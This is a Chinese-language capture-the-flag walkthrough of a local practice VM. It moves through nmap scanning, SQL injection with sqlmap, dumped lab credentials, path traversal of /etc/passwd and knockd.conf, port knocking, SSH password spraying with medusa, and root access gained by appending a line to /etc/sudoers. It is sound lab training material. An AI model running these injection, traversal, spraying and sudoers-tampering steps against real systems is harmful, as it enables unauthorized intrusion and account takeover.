靶机下载地址
信息收集
主机探测
sudo nmap -sn 10.10.10.0/24
获取靶机IP地址10.10.10.22
初步扫描
sudo nmap -sT --min-rate 10000 -p- 10.10.10.22
可知80端口开放
详细信息扫描
sudo nmap -sT -sC -sV -O -p 80 10.10.10.22
可知
80/tcp open http Apache httpd 2.4.38 ((Debian))
Running: Linux 3.X|4.X
漏洞脚本扫描
sudo nmap -sT --script=vuln -p 80 10.10.10.22
枚举了两个目录,没有扫描出漏洞。
渗透过程
SQL注入
访问80端口的search.php目录,这里存在SQL注入,可输入
‘ || 1=1 # 进行验证,能够获取到所有人的信息。
使用SQLMAP 爆破数据库
sudo -r sql --level 5 --risk 3 --dbs --batch
sudo -r sql --level 5 --risk 3 -D Staff -T Users --dump --batch
sudo sqlmap -r sql --level 5 --risk 3 -D users --dump
获得两组用户
后台登陆:
admin transorbital1
未知用户:
marym 3kfs86sfd
julied 468sfdfsd2
fredf 4sfd87sfd1
barneyr RocksOff
tomc TC&TheBoyz
jerrym B8m#48sd
wilmaf Pebbles
bettyr BamBam01
chandlerb UrAG0D!
joeyt Passw0rd
rachelg yN72#dsd
rossg ILoveRachel
monicag 3248dsds7s
phoebeb smellycats
scoots YR3BVxxxw87
janitor Ilovepeepee
janitor2 Hawaii-Five-0
MD5解密
使用somd5.com工具破解哈希值
admin transorbital1
文件包含
登录后台,发现File does not exits关键字,可能存在文件包含
构造payload,成功获取/etc/passwd
http://10.10.10.22/welcome.php?file=../../../../../../../../../../etc/passwd
首先介绍一下端口碰撞,这是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。
这里22端口是被过滤的,要想打开就需要用端口碰撞。至于为什么知道,你可以通过查看proc的进程日志文件知道有关knockd进程的信息。
获取/etc/knockd.conf文件内容,查看序列号。
端口碰撞
使用sudo knock 10.10.10.22 7469 8475 9842碰撞端口
密码喷射
使用medusa查看哪些用户可以登录
sudo medusa -M ssh -h 10.10.10.22 -n 22 -U u -P p -t 10|grep 'SUCCESS'
一共是发现3个
User: janitor Password: Ilovepeepee [SUCCESS]
User: joeyt Password: Passw0rd [SUCCESS]
User: chandlerb Password: UrAG0D! [SUCCESS]
SSH登录
使用User: janitor Password: Ilovepeepee 登录
敏感文件
使用find /home/ 2>/dev/null查敏感文件
这里发现一个敏感文件,里面装的似乎是密码。
二次密码喷射
合并密码,去除已检验出的账户,重新medusa尝试ssh登录。
结果是发现一个新的账户
User: fredf Password: B4-Tru3-001 [SUCCESS]
权限提升
SSH登录到
User: fredf Password: B4-Tru3-001 [SUCCESS]
发现被root授予了一个免密码的SUID
查看该二进制文件源码,接收两个文件参数,将参数1的内容追加到参数2.
新建一个shit文件写入 fredf ALL=(ALL:ALL) ALL">/tmp/shit
然后执行sudo ./test /tmp/shit /etc/sudoers
使用sudo su切换到root,在root目录下查看flag
总结
通过SQL注入拿到后台账户密码和一组未知用户密码,登录到网站后台通过文件包含查询konckd.conf获取序列值,通过konck进行端口碰撞打开22端口,通过medusa密码喷射登录SSH,查找敏感文件再次密码喷射登录,最后利用SUID提权。